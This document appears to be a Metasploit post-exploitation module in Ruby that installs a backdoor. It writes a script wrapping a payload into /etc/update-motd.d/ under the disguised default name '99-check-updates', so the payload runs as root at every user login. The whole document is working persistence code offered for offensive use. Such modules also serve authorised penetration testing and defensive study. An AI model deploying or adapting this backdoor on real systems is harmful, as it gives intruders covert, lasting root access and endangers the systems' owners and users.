📄 Update-motd.d Persistence

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    
      include Msf::Post::File
      include Msf::Post::Unix
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'update-motd.d Persistence',
            'Description' => %q{
              This module will add a script in /etc/update-motd.d/ in order to persist a payload.
              The payload will be executed with root privileges everytime a user logs in.
            },
            'License' => MSF_LICENSE,
            'Author' => [ 'Julien Voisin' ],
            'Platform' => [ 'unix', 'linux' ],
            'Arch' => ARCH_CMD,
            'SessionTypes' => [ 'shell', 'meterpreter' ],
            'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
            'Targets' => [ ['Automatic', {}] ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '1999-01-01',
            'Notes' => {
              'Stability' => [],
              'Reliability' => [EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK]
            },
            'References' => [
              ['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
            ]
          )
        )
        register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ])
      end
    
      def exploit
        update_path = '/etc/update-motd.d/'
    
        unless exists? update_path
          fail_with Failure::BadConfig, "#{update_path} doesn't exist"
        end
    
        unless writable? update_path
          fail_with Failure::BadConfig, "#{update_path} is not writable"
        end
    
        backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME'])
    
        if exists? backdoor_path
          fail_with Failure::BadConfig, "#{backdoor_path} is already present"
        end
    
        write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
        chmod(backdoor_path, 0o755)
        print_status "#{backdoor_path} written"
      end
    end